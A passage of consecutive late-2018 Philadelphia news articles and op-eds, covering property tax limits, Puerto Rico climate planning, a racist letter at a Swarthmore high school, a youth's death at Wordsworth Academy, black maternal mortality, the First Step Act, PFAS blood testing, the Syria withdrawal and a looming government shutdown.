would shift the tax burden, leaving residents whose property values did not increase to pay a higher tax rate relative to their market values than those with rapidly rising values. How have property tax limits worked out in other places? While many states and cities have limits that have assisted taxpayers, experts warn that they can come with downsides. Its not hard to freeze [taxes], but its really hard to thaw, Youngman said. You have to be very careful that whatever you put in place addresses the problem with the minimum of future difficulties. Caps can shift tax burdens, and they can make it difficult for people to move, such as in California, where Proposition 13 froze taxes at 1970s levels and limited increases to 2 percent per year. When a home there is sold, it is reassessed at market value placing a much larger tax burden on new residents or first-time homeowners. A 2010 report by the International Association of Assessing Officers acknowledged that market-value assessments can create problems with predictability and affordability of taxes, but advised against caps -- recommending instead the types of safety nets that Philadelphia has in place. In some places, taxpayers push for truth in taxation, Youngman said, which amounts to government acknowledgement that rising values can impact them. The idea is, if youre going to increase your revenue collections because the values go up," she said, that under these rules, you need to go through all the same steps you would go through if you would change the tax rate ... whether its a public notice or a hearing or a vote. Can anything be done about rising taxes in Philly? Youngman said experts admire Philadelphia for making the move to market-value assessments in 2014. But what can be done about the lack of a ceiling on how much property taxes can rise amid the success of the citys real estate market? Strict revenue neutrality, as is mandated for other Pennsylvania counties, may not be practical, because government costs do increase, Youngman said. But she said reducing the tax rate to some degree when there is a large assessment increase is an accepted practice. These silent tax increases, where the base rises and youre not just bringing in a normal increase of a few percent, but you suddenly have a large increase simply because of value changes, thats always something to be extremely cautious about, Youngman said. Dunn said the mayor is always open to considering tax policy changes while working with City Council on annual budgets. However, mandated revenue neutrality would hamper the citys ability to continue to provide the level of services that residents need and expect," he said, "as we would likely need to reduce services to pay for rising nondiscretionary costs. Council commissioned an audit of Philadelphias Office of Property Assessment this year. It was scheduled for completion in September, but it hasnt yet been released. Jane Roh, a spokesperson for Council President Darrell L. Clarke, said the office is reviewing the report. If the audit shows that property assessments are accurate, Squilla said, Council should look at reducing the tax rate to make up for assessment increases. Some people would argue that now youre reducing the amount of money that goes into the general fund [and] youre reducing the money that goes to our schools, he said. But we have to be able to balance that on the backs of the residents, and also the city services and our School District. Residencial Luis Llorens Torres is a 2,451-unit public housing project in San Juan, Puerto Rico, near two bodies of water: the San Jose Lagoon to the south and the Atlantic Ocean to the north. Besides being susceptible to rising sea levels, the low-income gated community is closed off from other neighborhoods, over a bed of mangroves, which limits its almost 7,000 residents from road access and aid. This housing project, together with other climate-threatened towns and communities, was the focus over the last semester of 35 graduate students at the University of Pennsylvania School of Design. On Tuesday, International Migrants Day, they presented solutions intended to make Philadelphia and cities in Puerto Rico better prepared for future climate-related threats and migrations specifically addressing the socioeconomic disparities and environmental challenges both places experienced after Hurricanes Irma and Maria hit the island in September 2017 and many Puerto Ricans took refuge in Philadelphia. This comes at a time when island officials need to submit plans for the $20 billion that the U.S. Department of Housing and Urban Development has allocated for the reconstruction of infrastructure. Jerry Kirkland, director of emergency management for the Municipality of Naguabo, who was one of four jurors from the island invited by the instructors for the students' presentations, said hed be using their findings because it includes so many angles that we really didnt analyze. Two student labs, one in city planning and another in landscape architecture, focused on the settlements near the San Jose Lagoon, the mountain town of Utuado, and the coastal town of Naguabo. A third planned the redevelopment of the Llorens Torres project, and the fourth looked at the response in Philadelphia to Puerto Ricans who were evacuated or displaced. For the Llorens Torres project, the students suggested creating a park by the mangrove bed that would intentionally flood during storms, thereby saving the housing project; increasing the connectivity among nearby neighborhoods by reducing barriers; and implementing a water collection and storage system in case of contamination. Lisa Servon, chair for Penns department of city and regional planning, said this was the first time the studio portion of the classwork was dedicated entirely to Puerto Rico and the Puerto Rican community; other years it has addressed Guatemala, Mexico, Ecuador, and other U.S. cities. These studios try to propose big ideas, and it seemed to me that the aftermath of Hurricane Maria and the whole history of Puerto Rico leading up to that was very important, she said. When it came to handling evacuees in Philadelphia, students suggested that local, state, and federal governments create a one-stop shop that could centralize and facilitate aid access, and set up a preparedness task force for long-term planning. Currently, evacuees have to sift through a number of government and nonprofit organizations to navigate aid. Other ideas included allocating FEMA funds to a pilot Airbnb-style program that could provide immediate short-term housing options in cooperation with homeowners, pushing for more housing cooperatives, and developing an account funded by Puerto Ricans on the mainland that would contribute to development projects in Puerto Rico. We worked on the basis that any state or city can implement the ideas that we are sharing, as any place can be the next one to receive a large group of people due to a natural disaster, said Ariel Vazquez, instructor for the lab that focused on Puerto Rican evacuees to the city. READ MORE: To better understand their Puerto Rican students, Philly teachers travel to Caribbean One of the challenges students faced was multiple data sources on the number of Puerto Ricans coming to Philadelphia after the hurricanes. According to the Pennsylvania Emergency Management Agency, more than 3,400 people moved to Pennsylvania from Puerto Rico as of June. Of those, more than 2,000 registered through Philadelphias Disaster Assistance Services Center. According to Philadelphia School District data for the 2017-18 school year, 206 displaced students had registered by December 2017. As of Jan. 30, 2018, according to a research paper published by the Center for Puerto Rican studies at City University of New Yorks Hunter College, 414 displaced students were enrolled here ranking second in Pennsylvania for the number of displaced Puerto Rican school-age children. First was Lehigh County with 481 students. Berks County, with 367, ranked third. Jose Rios, president of the Utuado city council, said the students' presentations shed light on the assets that local officials had not yet considered. These projects give us a sense of what we have and on multiple occasions what we dont know we have," he said, people outside of Puerto Rico that see our value, resources and potential. A Delaware County high school is in turmoil over a racist letter left on several doorsteps last weekend of Swarthmore and a seemingly related photo of two youths in Ku Klux Klan-style hoods that students shared widely on social media prompting probes by local police and the Wallingford-Swarthmore School District. The letter, which circulated on Facebook after several residents reported finding it, praised President Trump and Vice President Pence, and told the recipients to leave the United States, claiming, There is now a law against filthy nutheads like yourself living in our country. Students who viewed the photo of two youths wearing white hoods on the social-media site Snapchat on Tuesday, and who believe the photo and the letter are linked, staged a walkout Wednesday morning at Strath Haven High School in Wallingford, Nether Providence Township, that briefly shut down South Providence Road. School superintendent Lisa Palmer sent parents and other district stakeholders a letter Wednesday saying, The name and social media handles associated with this photograph appear to be linked to students in our district. However, at this time we dont have many details and cant even say who created this photograph and/or social media post. According to the Pennsylvania Department of Education, the high school serves a largely affluent population of nearly 1,200 students, 74 percent of whom are white, 9 percent black, 8 percent Asian, and 3 percent Hispanic. Five percent of the students are of mixed race. Swarthmore Police Chief Brian Craig said at least four students from Strath Haven, all juveniles, have been identified as responsible for the letters, which they sent to four families. The students have written letters of apology. He said the investigation is continuing into whether more students were involved and whether charges will be filed. The letters reportedly were sent to nonwhite families, but Craig said the recipients were not people of color. He declined to provide any other information, citing the ongoing probe. Nether Providence Police Chief David Splain said police are trying to determine the origin of the photo. The letter, which has been posted widely on social media, states that Donald and his crew think its best if u pack ur bags tonight and that for recipients who dont leave, then we will either 1) put u up for adoption or 2) execute u and ur kiddos. The notes also include racist suggestions of moving to a new Mexico city and working in jobs such as fast food or prostitution. We are extremely disturbed and disappointed at the thought that any of our students might be associated with this kind of vile display of racism, Palmer said in her letter. We will very closely follow our district discipline policy as it relates to any student found posting this kind of material on a school device or network, or during school hours. David Hess died at the hands of staffers at Wordsworth, a residential treatment center for young people. A report released this week revealed new details about his death. Read more The 17-year-old boy who died in a struggle with staffers at Wordsworth Academy in 2016 was pinned to the ground in a headlock before he lost consciousness, and then given chest compressions at one point by a tired employee who used a foot while an ambulance took more than 30 minutes to arrive, according to new details in a report about the death. David Hess, who had been sent to the residential facility for troubled young people due to his behavioral needs, also had apparently been inappropriately restrained by staff members in the weeks leading up to his death and had an antagonistic relationship with at least one staffer, according to the fatality review report, prepared by the Philadelphia Department of Human Services Act 33 team. The panel of child welfare experts, doctors, and police review fatal and near-fatal incidents involving children. Names of all staff members are redacted from the report, and two years later, no one has been charged in his death, which the Medical Examiners Office had deemed a homicide. Ben Waxman, a spokesperson for the District Attorneys Office, said in an email Thursday that prosecutors are in the process of reviewing the investigation to make the appropriate charging decisions." Steven Marino, a lawyer for Hess' family, said he did not believe charges would be filed. For whatever reason, they decided not to pursue a criminal prosecution, Marino said. The case is over two years old, so what does that say? Its up to them, but I doubt there will be a criminal prosecution. Marino settled with Wordsworth, which filed for bankruptcy in June 2017, for an undisclosed amount on behalf of Hess' family. Hess' death prompted the state to order the closure of Wordsworth, the citys only residential treatment facility for troubled young people. The Inquirer and Daily News subsequently reported that the West Philadelphia facility had a hidden history of abuse, with dozens of sex crimes and allegations of abuse having been reported at the facility for years before Hess was killed. Hess died the night of Oct. 13, 2016, after multiple staff members entered his room after he was suspected of stealing another childs iPod. He became upset after the incident and, according to the newly released report, was punched in the ribs and put in a headlock by a male employee who had his forearm on Hess neck. The man removed his arm as Hess started gasping for air. The medical examiner has said Hess died from lack of oxygen. The report includes interviews with nine youths who lived on the same floor as Hess as well as counselors involved in the incident, nurses, and emergency responders. One of the youths said an employee did not like David" and alleged that during a restraint two weeks prior, the employee took advantage of the situation and punched David in the chest. Another youth reported that a month earlier an employee had hit Hess in the face while Hess was restrained. The night of Hess death, staff members said, he left a meeting without permission, angering a male employee, who went off for several minutes because he thought Hess had acted disrespectfully. The interviewee also questioned why an employee not assigned to Hess' unit that night had gotten involved in the situation and entered Hess' room. The report noted, There appeared to be an antagonistic relationship between David and one of the staffers. Because the names are redacted, it is unclear if the statements refer to multiple staff members or one person. It has been reported that three counselors were in and out of Hess room when he died. Three Wordsworth staffers were placed on administrative leave following Hess' death. The report also revealed how ill-prepared staffers were to handle an emergency situation. They did not properly administer CPR, using chest compressions but not mouth-to-mouth, the report says. At one point an employee grew physically tired, so he began doing chest compressions with his foot." Once Hess had become unconscious, a call to the nursing staff went unanswered, and no one called 911 until a nurse responded several minutes later and couldnt find the teens pulse. An ambulance didnt arrive for 30 to 40 minutes, according to the report, and was delayed getting to Hess because Wordsworth security did not know the floor where the emergency was occurring. Staff lied to both the responding nurse and emergency medics, according to the report, saying Hess hit his head on the floor, took a deep breath, and then coded. In its review of the incident, the Act 33 team noted failures in basic safety planning, training and supervision. Neither the on-call physician nor the Wordsworth medical director was contacted the night of Hess' death. The decision to restrain Hess was made by an employee who had little training and experience, the team wrote. The report follows one released by two advocacy groups last week, which said the Pennsylvania Department of Human Services which issues licenses to the states residential facilities has failed the states most vulnerable children by allowing its system of residential facilities for troubled or disadvantaged youths to become plagued by physical and sexual abuse, poor supervision, or other problems. The state did not respond to requests for comment Thursday. Cynthia Figueroa, the head of Philadelphias Department of Human Services, which is separate from the state agency and did not oversee Wordsworth, said the case remains deeply distressing." Every childs life is valued, Figueroa said. "And those entrusted with the care of David Hess should be held accountable. I kept saying: Is she OK? Is she all right?' Nobody said a word. I have never heard a room so silent in my life. This chilling testimony comes from Simone Landrum, telling a New York Times reporter about her experience losing her child, and nearly her own life, during birth. Her story reflects the black maternal and infant mortality crisis that is happening across the United States and persisting right here in Pennsylvania. As of 2013, from the most recently available data, black women made up 11 percent of women in Pennsylvania, yet accounted for 31 percent of all pregnancy-related maternal deaths. Black women comprised three-quarters of all pregnancy-related deaths in Philadelphia between 2010 and 2012. Nationwide, black mothers are more than three times as likely to die from pregnancy-related causes than their white counterparts, and more than twice as likely as women of other races. And higher socioeconomic class does not reduce these health risks. We have heard this firsthand from Serena Williams, who almost died giving birth to her daughter. Its time we start having real conversations about how to support the wellness of black mothers and their babies. With the new legislative session approaching, the Pennsylvania legislature must put black womens health on the top of its list. To make change on this public health crisis at the state level, legislators should look to community members and model federal legislation such as the MOMMA Act, introduced as state legislation in Illinois. The MOMMA Act would require equitable access to prenatal care and cultural competency training for medical staff, and enforce current national emergency obstetric protocols to ensure that best practices are being used, while eliminating practices that dont benefit the mother. This legislation expands coverage for postpartum care under Medicaid for up to a year, and aims to support mothers in obtaining care for issues like postpartum depression after childbirth. It provides Pennsylvania a solid policy framework to adopt at the state level. We also have work to do at the city level. Between 2010 and 2012, Philadelphia had a maternal mortality rate 53 percent higher than the national average. Many impacted live below the poverty line and experience a range of disproportionate health disparities and risk factors. Across income levels, black women face barriers to accessing comprehensive health care and coverage. We also struggle to find culturally competent and responsive doctors, all while navigating health care systems where racism is at play, and where black providers are underrepresented. On Saturday, Philadelphia community members came together to do something about it. People gathered at the Lucien Blackwell Branch Library in West Philly for a panel and discussion called Why Are Black Mothers and Babies Dying, and What Can We Do About It? Panelists included Lexi White, local commissioner and senior policy manager for New Voices for Reproductive Justice, where I am currently a reproductive justice Fellow advocating for the sexual and reproductive health of black women, girls, and LGBTQ people of color. Lexi noted that in addition to more comprehensive data about how environmental racism and embodied stress is at play in this epidemic, we also need to expand equitable coverage for a full range of pregnancy and maternal health services, including doula and midwifery care. Medical and family leave policies, along with resources for young parents and other caregivers, are also crucial. To be clear, the death of any mother or baby should be prevented at all costs, no matter their race. But the reality is that black women face the greatest danger when they deliver their children. And when tragedies impact women of color, specifically black women, the problem is too often ignored. Its time for the Commonwealth of Pennsylvania and our elected leaders at all levels of government to start taking an interest in the lives of black mothers and babies the same way our communities do. Mashayla Hays is a reproductive justice fellow at New Voices and the Womens Law Project in Pittsburgh. Tuesday night, the U.S. Senate overwhelmingly passed the most significant federal criminal justice and prison reform in a generation. As a government shutdown loomed, 87 senators voted together to pass the First Step Act, which reduces sentences and promotes successful reentry into society. The bill received 26 more votes in the Senate than the infamous 1994 Clinton crime bill that gave us automatic life sentencing after three strikes a testament to how far the country has moved on criminal justice in the last two decades. Now, the First Step Act heads to the House, where a previous version passed overwhelmingly (360-59) in May, and is expected to then be signed into law by President Trump, who endorsed the bill in November. Jared Kushner, Trumps son-in-law and special adviser to the president, has reportedly been the force advocating for the bill in the White House. Although every Senate Democrat voted for First Step, many liberals did not pop champagne. Instead, some framed the First Step Act as a self-interested effort by the Trump family as they supposedly face the prospect of prison sentences. Clara Jeffery, editor-in-chief of the progressive magazine Mother Jones, re-tweeted Ivanka Trump endorsing First Step and added, When youre cheering the prison reform that might help yourself and your family serve out their sentences a little bit easier Alicia Garza, co-founder of the Black Lives Matter movement, said on the podcast of former Obama-staffer Jon Lovett that Trump decided to take up criminal justice reform so that he can free his friends. Theyre wrong. For one, no member of the Trump family is likely going to federal prison anytime soon. For another, First Step does not help affluent people who go to prison for public corruption and white collar crimes. I think that when people say that the Trumps are passing this legislation because they are going to go to prison, its a funny joke, but it has no basis in reality, Van Jones, CNN host and the co-founder of criminal justice reform organization #Cut50, told the Inquirer. Trump doesnt need a bill to protect his family from incarceration. He can just pardon them all right now if he wanted to. Jones is sympathetic to those on the political left who find it hard to celebrate the passage of the First Step Act. Jones says that progressives have, for good reason, been conditioned to expect only terrible and awful things from the Trump administration. When you have 99 bad things and suddenly you have one good thing, you dont know how to react. Jones has been one of the most vocal advocates of First Step, and some on the left have accused him of cozying up to the administration to get the bill passed. After Trump endorsed the First Step Act in November, Jones tweeted that Trump is on his way to becoming the uniter-in-Chief on an issue that has divided America for generations. A few weeks later Jones interviewed Kushner at a CNN event, after which he was accused of asking softball questions. But Jones recognizes that the Trump administration is far from being an unequivocal champion of criminal justice reform. The fact that on one hand, Trump appointed Jeff Sessions, and on the other hand supported Jared Kushner on this bill reflects a kind of schizophrenia that is a part of the American psychology when it comes to crime," he says. For Jones, his relationship with the White House is simply strategic. It took both parties to get us into this mass incarceration ditch, and it is going to take both parties to pull us out. By passing First Step with such bipartisan support, lawmakers now have proof that criminal justice reform is not a political third rail. Jones believes that from January on, we will see a slew of criminal justice reform bills proposed and thats good because First Step should be nothing more than its name: a first step. First Step only addresses the federal system, while about 90 percent of the 2.3 million people incarcerated in the United States are in state prisons and local jails. The reform also merely tweaks oppressive policies instead of abolishing them. For example, instead of ditching the three strikes rule to automatically give a lifetime prison sentence to people with three or more federal drug or violent offenses, it sentences them to 25 years. It also introduces risk assessment algorithms that have been critiqued as tools of racial discrimination and expands digital monitoring. Much of the critique of the bill can be summarized as follows: "'This is not the last step act,' Jones says. Like anything in politics, First Step is not without nuance. All at the same time, it marks our biggest progress toward criminal justice in a generation, helps thousands of unjustly sentenced people while ignoring millions of others, and includes problematic provisions. It does not protect Trump or his family. Supporting it does not excuse Trump administration atrocities such as child separation and caging children. But wins for justice, even small ones, are rare these days. Liberals should take the W and continue to fight. The Environmental Protection Agency's Peter Grevatt, Director of the Office of Ground Water and Drinking Water and Cosmo Servidio, Regional Administrator for the Mid-Atlantic Region, listen to members of the public comment during a PFAS Community Stakeholder Meeting, on in Horsham in July. Read more Residents in Bucks and Montgomery Counties who participated in a blood-testing program because their drinking water was contaminated by chemicals on nearby military bases have a dramatically higher presence of some chemicals in their blood than the general U.S. population in the case of one chemical, five times more than the typical American. The Pennsylvania Department of Health mailed the averaged results to the 235 residents in Horsham, Warminster, and Warrington Townships who participated in the testing program, which was completed at the end of September. The letter obtained by the Inquirer and Daily News offers a first look at the potential health effects of the water contamination on more than 70,000 residents in the affected towns. The test results, from randomly selected participants across the area, allow for "a general idea of the amount of exposure in the community as a whole," the letter said. Health officials said last week they were working on a full report to be released to the public in December, when they will also hold a public meeting to discuss the results. The federal government hopes to use the data to create a nationwide testing program. Residents' blood was drawn and analyzed for measurements of several types of chemicals, known as PFAS, that were present in firefighting foams used on military bases in Willow Grove and Warminster, and seeped into drinking water supplies. Since being alerted to the contamination in 2014, residents and lawmakers had demanded blood testing, pointing to other states where health tests had been offered, and continue to raise questions and voice fears about the situation. "This is a huge indication that something needs to be done, that the [Department of Defense] needs to start stepping up to the plate and start helping people," said Hope Grosse, who grew up near the Warminster naval base and has become an advocate for residents concerned about the issue. "I'm grateful these numbers came out, and I sure hope they don't keep suppressing and delaying remediation for people and for the groundwater." She called the results the "tip of the iceberg" and said the government needs to provide biomonitoring, conduct a health study, and provide education and financial assistance to residents, among other things. PFAS are present in everyday items, such as pizza boxes and nonstick cookware, and can be found in the bloodstreams of many Americans. The same water contamination occurred near military bases in New Jersey and other communities across the country. In the Bucks-Montgomery area, the chemicals have also been found in lower amounts in several surrounding municipalities. The average for one type of PFAS, known as PFHxS, in the Pennsylvania residents sampled was 7.63 micrograms per liter more than five times the national average. And the 95th percentile for local residents tested was almost nine times higher than the 95th percentile for all U.S. residents. The local average for PFOS was more than double the national average, and PFOA was more than 1.5 times the national average. Scientists have linked the PFAS group of chemicals to health problems, which include increased risk of liver damage, high cholesterol, thyroid disease, decreased fertility, and certain types of cancer. However, it's difficult to determine whether exposure could have contributed to someone's illness in any specific case, experts say. State officials cautioned that the results cannot be directly correlated to current medical conditions or the risk of developing health problems. "It is important to remember that scientists are not sure about the health effects of human exposure to PFAS and do not know what these levels mean, if anything, in terms of affecting your health now or later in life," the letter stated. "Currently, these results cannot tell you if an existing health problem is related to your PFAS levels: how, where, when, or how often or how long you were exposed to PFAS; nor how much of the chemical you were exposed to." A Department of Health spokesperson declined to elaborate on the test results and said they will be formally released at the public meeting next month. A date has not been set. In 2016, the Environmental Protection Agency updated a "health advisory level" that created a recommended threshold for the maximum amount of PFAS chemicals in drinking water. The agency has not set any guidelines for how much chemical is cause for concern in the human bloodstream, although a draft of a federal study released during the summer proposes a level of the chemicals that is safe for humans to ingest. The study suggested that the toxins are more dangerous than the EPA had previously indicated. The EPA's drinking-water guideline has also been contested by some experts, and the Horsham, Warrington and Warminster water agencies sought undetectable levels of the chemicals when cleaning their water supplies. Last year, New Jersey set its own safe drinking-water level, much lower than the EPA's. Pennsylvania has not followed suit, although Gov. Wolf has made recent pledges to address PFAS, and a state action team is set to publicly meet in Harrisburg on Friday. Pennsylvania was chosen by federal agencies for the pilot program to help officials examine how best to do studies in areas nationwide affected by the contaminants. The results here showed lower amounts of the chemical in the blood of those tested than for residents of the Hoosick Falls, N.Y., area, but higher than or similar to some results for residents in the Pease Tradeport region of New Hampshire, both places where blood testing has been conducted by state agencies for the same contaminants. Compared with Newburgh, N.Y., the results were also mixed; Newburgh had higher average blood levels then the Philly-area testing for some chemicals but not for others. But in each of those locations, as is the case locally, the average presence of the chemicals in bloodstreams was higher than national averages. The Environmental Protection Agency's Peter Grevatt, Director of the Office of Ground Water and Drinking Water, and Cosmo Servidio, Regional Administrator for the Mid-Atlantic, listen to members of the public speak during a community meeting in Horsham to address PFAS contamination in drinking water. Read more State health officials have sent blood-sampling results to the 235 residents tested in the Bucks and Montgomery County towns where drinking water was tainted by chemicals from nearby military bases and hope to release in weeks a public report on the scope of the contamination. The testing occurred as part of a pilot program for a federal initiative to sample residents' blood in communities affected by the contamination. Pennsylvania officials will share information from their testing of Horsham, Warminster, and Warrington Township residents with federal agencies to help develop potential testing programs in other communities across the country. >>> READ MORE: Nearly 400 military bases must be tested for drinking water contamination and it will take years The blood tests were completed by the end of September, and study participants received their results in October, according to the Pennsylvania Department of Health. On Monday, the Health Department sent letters to each person showing his or her results compared to a community summary showing the overall results. Department officials declined to provide a copy of the community summary to The Inquirer and Daily News. A complete report on the test findings will be released in December with a public meeting to follow, said department spokesperson Nate Wardle. No date has been yet scheduled for the meeting. State health officials originally sought 500 participants for the study, and more than 600 randomly selected people had agreed to participate. But only 235 followed through with getting tested, even after the state extended the deadline. Because a scientific study needs a random sample, officials could not take volunteers. Lynne Wahl, of Warminster, one of the residents who was tested, said the results she received in September showed that her blood has high levels of some of the chemicals several times more than the national average and above the 95th percentile for one of the chemicals. Wahl, 69, said she took the results to her doctor. "You can't make sense of it," she said. "I could see what was out of range but nowhere does it tell that's what it means." Wahl said she agreed to have her blood tested because she has lived in Warminster for more than 40 years and is a breast cancer survivor. Her husband, who also had cancer, died in the last year. After the blood-test results came in, Wahl said her doctor simply advised her not to drink contaminated water, but her township already changed its drinking-water source. Wahl said even though the test cannot prove whether the water contamination was connected to her or her husband's cancers, she still wanted to know her level because she's "had enough" health problems and frustration over the contamination. Wahl said Wednesday that she had not yet received the community results summary that the state said it had sent to participants. Pennsylvania was chosen by federal agencies for the pilot program to help officials examine how best to do studies in areas nationwide affected by the contaminants known as PFAS. "That was the entire goal of this project to look at how a study can be done on an area that has been affected by these chemicals, to help make sure that robust studies can be done in the future," Wardle said. The water contamination, made widely public in Horsham, Warminster, and Warrington in 2014, threw local residents into uncertainty that was later mirrored in communities across the nation. Residents with private wells were given bottled water, and public water supplies were shut off, filtered, or changed, making them free of the contaminants. Relatively little is known about PFAS, the class of chemicals that seeped into drinking water after being used in firefighting foam at military bases. The scope of health effects on humans remains unclear. Scientists have linked the chemicals to a variety of health problems, including increased risk of liver damage, high cholesterol, thyroid disease, decreased fertility, and certain types of cancer. A state Health Department study updated this spring found elevated rates of cancer in the three townships, but said the results did not show a consistent pattern. Many have clamored for blood testing and demanded an urgent government study of the issue. During the summer, the Environmental Protection Agency created goals for addressing the problem and said it was developing a "PFAS management plan," while agency officials held a string of public meetings nationwide, including in Horsham. Last week, the EPA released a draft document assessing the toxicity of some other chemicals in the PFAS group. The assessment is open for public comment. The agency is working to release the management plan "as soon as possible," according to a Nov. 14 statement. Gov. Wolf has also created a PFAS Action Team that is scheduled to hold its first public meeting next week. Patrick McDonnell, the Department of Environmental Protection secretary, said in a news release announcing the meeting that Wolf is committed to take action on PFAS at the state level "in the absence of a federal response" to set better drinking-water standards. Against the advice of many in his own administration, President Donald Trump is pulling U.S. troops out of Syria. Read more President Donald Trump is defending his decision to immediately withdraw about 2,000 American troops from Syria after facing backlash for claiming that the Islamic State was defeated. In a series of tweets sent Thursday morning, Trump said he campaigned on the idea of removing American troops from Syria, and that leaving the war-torn country was no surprise. Trumps defense on Twitter of his plan came just minutes after Fox & Friends co-host Brian Kilmeade, who is among the presidents loudest supporters at Fox News, blasted the move to withdraw troops as stunning and totally irresponsible. Nobody thinks that ISIS is defeated. Nobody who understands who was born after 2000 who sees whats happened after 9/11, understands, Kilmeade said. The host echoed concerns from lawmakers, military experts and members of Trumps own administration that the move cedes power to Iran, Russia, and Turkey. Senior Trump officials, including Secretary of Defense James Mattis, national security adviser John Bolton, and Secretary of State Mike Pompeo, have spoken about the need to remain in Syria, not only to defeat the Islamic State, but to also combat the influence of Iran. Many Republicans on Capitol Hill have also criticized the presidents order of a sudden withdrawal. South Carolina U.S. Sen. Lindsey Graham, normally an outspoken ally of the president, called the decision disastrous to our own national security and blasted the idea that weve defeated the Islamic State as fake news. Experts have warned that Americas withdrawal could lead to Turkey launching an offensive against the Kurds, the United States' main partner in battling the Islamic State in Syria, a topic Kilmeade also touched on. They did all our fighting and now were abandoning them, he said. What does that say for future allies? Russian President Vladimir Putin, meanwhile, welcomed Trumps decision to pull American troops out of Syria, according to the Associated Press. Speaking at his annual news conference on Thursday, Putin called the U.S. presence in Syria illegitimate and said if the U.S. decided to withdraw its contingent, it has done the right thing." Sen. Rand Paul (R-Ky.) was among the few politicians to praise Trumps decision, writing on Twitter Wednesday that he was happy to see a president declare victory and bring our troops out of a war. Its been a long time since that has happened. Last week, Brett H. McGurk, the presidential envoy to the coalition fighting the Islamic State, told reporters that if the mission was to completely defeat the Islamic State, we cant just pick up and leave. We want to stay on the ground and make sure that stability can be maintained in these areas. Trump was also widely criticizing for suggesting American troops who were killed fighting the Islamic State would support his decision to pull out of Syria. Our boys, our young women, our men, theyre all coming back, and theyre coming back now. We won. And thats the way we want it, Trump said in a video from the White House lawn shared on Twitter Wednesday afternoon. The president then pointed to the sky and concluded, And thats the way they want it. It is more than a little strange speak definitively about the desires and policy views of US service members who have died fighting in Syria and Iraq, MSNBC host Chris Hayes wrote on Twitter. The Capitol is seen under early morning skies in Washington, Thursday, Dec. 20, 2018. Read more President Donald Trump will not sign a short-term spending bill passed by the Senate designed to prevent a government shutdown, the White House said following the presidents Thursday afternoon meeting with House Speaker Paul Ryan and other Republicans. President Trump just met with Republican Members of the House. Not surprisingly, they all feel strongly about border security stopping the flow of drugs, stopping human trafficking, and stopping terrorism," White House press secretary Sarah Sanders said in a statement. "We protect nations all over the world, but Democrats are unwilling to protect our nation. We urgently need funding for border security and that includes a wall. On Wednesday, the Senate unanimously approved legislation to keep the government funded through Feb. 8, but didnt include the $5 billion Trump requested to build a wall along the border of the U.S. and Mexico. Trumps comments about border security have shifted wildly in recent days, creating confusion on Capitol Hill as the government gets closer to a potential shutdown. At one point, the president said the military would fund and build the wall. He also demanded that Democrats agree to fund construction of the border wall next year. The government will shut down if a spending bill isnt passed by midnight Friday. Here are the latest updates: Dow plummets on Trumps refusal to sign bipartisan deal U.S. stocks plummeted Thursday afternoon after news broke that Trump would not sign a compromise that would keep the government funded through February. Its a bloodbath, CNNs Cristina Alesci reported from the floor of the New York Stock Exchange in Manhattan, after stocks were down as much as 450 points. As of 2:45 p.m., the Dow Jones Industrial Average has rebounded a bit, but were still down around 300 points. How would a government shutdown impact Philadelphia? A government shutdown does not mean everything locally would grind to a halt. But it does mean employees of the federal government in the Philadelphia area might start losing pay. During the 16-day government shutdown back in 2013, nearly 50,000 federal employees in the Philadelphia and Camden metropolitan areas were furloughed without pay. Heres how my colleague Joseph Gambardello summed it up during the brief government shutdown that occurred in January: The most visible impact in the Philadelphia area will be at national parks, including Independence Hall and the Liberty Bell, which will be closed. Valley Forge National Park will be open to the public, but all park buildings and restrooms are closed and there will be no educational programs. The Independence Visitors Center is not a federal facility and will be open, though the National Park desk will not be staffed. If government funding expires Friday, nine federal agencies will close, according to the New York Times: the departments of the Treasury, Agriculture, Homeland Security, Interior, State, Housing and Urban Development, Transportation, Commerce, and Justice Essential operations, such as the FBI, airport security and customs, the military, government-run hospitals, and Weather Service forecasters would continue to function. But employees would be forced to work without pay, the Times reports, citing data from Senate Democrats. Republican congressman: We didnt come to Washington to burn the place down Texas Republican Rep. Will Hurd was among the politicians who slammed Trump for his refusal to sign the bipartisan compromise. Where things stand is that the American people actually sent us up to Washington, D.C., to get things done, not burn the place down, so we should be able to fund the government, Hurd said on MSNBC Thursday afternoon. Hurd, a former CIA agent, also criticized the idea of Trumps border wall, calling it a fallacy that a physical structure built along the border would automatically equate to greater security. Building a wall from sea to shining sea is the most expensive and least effective way to do border security, Hurd said. Ryan vows to work on solution to keep government open After meeting with Trump at the White House, Ryan said the presidents unwillingness to sign the Senates short-term spending bill was due to legitimate concerns for border security." We want to keep the government open, but we also want to see an agreement that protects the border, Ryan told reporters. We have very serious concerns about securing our border. Schumer: Senate Democrats are not budging on the wall Senate Minority Leader Chuck Schumer said Democrats are not budging on the wall during a speech on the Senate floor Thursday. Schumer also shared a montage of video clips of Trump repeating during the campaign that Mexico would pay for his border wall. Trump wants steel slats or a wall White House press secretary Sarah Sanders said Trump would not commit to signing any legislation meant to avoid a government shutdown unless it addressed his desire for greater security along the U.S.-Mexico border. At this moment, the President does not want to go further without border security, which includes steel slats or a wall. The President is continuing to weigh his options, Sanders said in a statement. The projected number of people who plan to fly between Thursday and Jan. 6 is up more than 5 percent from last year. Read more If you are hankering to be one among millions this holiday, do not bother with the shopping malls, just head to the airport, where nearly 46 million people will mix travel anxiety with Christmas anxiety and a tad of family-get-together anxiety to create a merry little stew of emotions. The projected number of people who planned to fly between Thursday and Jan. 6 is up more than 5 percent from last year. "That's an increase of about 126,000 passengers a day," said Nick Calio, CEO of the trade group Airlines for America. With a daily average of more than 2.5 million people flying, those with the most holiday spirit may enjoy traveling on Thursday, Friday, and Dec. 26, which figure to be the busiest days during the holiday period. (The lightest travel days are Christmas Eve, Christmas Day, and Jan. 5.) After the busiest Thanksgiving air travel period on record, airlines have promised to work with the Transportation Security Administration to get people to their flights on schedule. This holiday season, we are expecting passenger volumes at airports to again be at record highs, TSA Administrator David Pekoske said. We ask passengers to arrive earlier than usual, dont overpack carry-ons, be prepared to divest items at security checkpoints, listen to advisements from our officers, and, most importantly, patience and understanding go a long way. With those sentiments in mind, the group AirHelp, which bills itself as the worlds leading flight compensation company, provided a list of protections available to passengers in the United States and other countries. AirHelp, a for-profit organization that collects 25 percent of the compensation when its customers win claims, says globally, 2018 has been among the worst years when it comes to disrupted flights. Some of that is attributable to the weather, and some is the result of airline issues. The company says one reason Americans suffer is that 90 percent of them do not know their rights well enough to complain effectively. "You can always complain when an airline doesn't fulfill the service they've promised. Some might even take your feedback seriously and try to improve their service," AirHelp says in its "10 Commandments of Air Travel." AirHelp also outlines the rights you have when your flight is overbooked. Selling more tickets 